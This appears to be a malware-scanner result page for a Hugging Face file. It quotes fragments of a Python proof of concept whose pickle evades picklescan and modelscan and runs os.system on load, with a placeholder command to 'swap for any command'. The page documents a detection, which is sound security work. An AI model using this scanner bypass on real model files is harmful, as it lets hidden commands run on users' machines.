Benign huggingface Download

hacnho

Imports pickle modulePython os.system shell-exec sink

SHA-25691e675b803a8f9f0b24d0e368b5aa2050a344deb5324893bb88193f7b2616300

Evidence

References being infected lines 1–5

1#!/usr/bin/env python3
2"""
3PoC: a malicious pickle that picklescan 1.0.4 reports CLEAN (Infected files: 0,
4exit 0) yet executes an arbitrary OS command on load. modelscan 0.8.8 also fails
5to flag it ("No issues found!", verdict clean).

Python os.system shell-exec sink lines 28–31

      # scanner: STACK_GLOBAL('0','1')  -> Suspicious, not blocklisted -> CLEAN
      # VM:      STACK_GLOBAL('posix','system') = os.system
  SHORT_BINUNICODE <cmd> TUPLE1 REDUCE   # os.system(<cmd>)
  STOP

Imports pickle module lines 36–39

36Run:  python build_poc.py        # writes malicious.pkl + prints disassembly
37"""
38import pickle as P
39import pickletools

/tmp/ path component lines 41–42

41MARKER = "/tmp/MEMO_DESYNC_PWNED.txt"
42CMD = "echo MEMO_DESYNC_PWNED > " + MARKER     # benign marker; swap for any command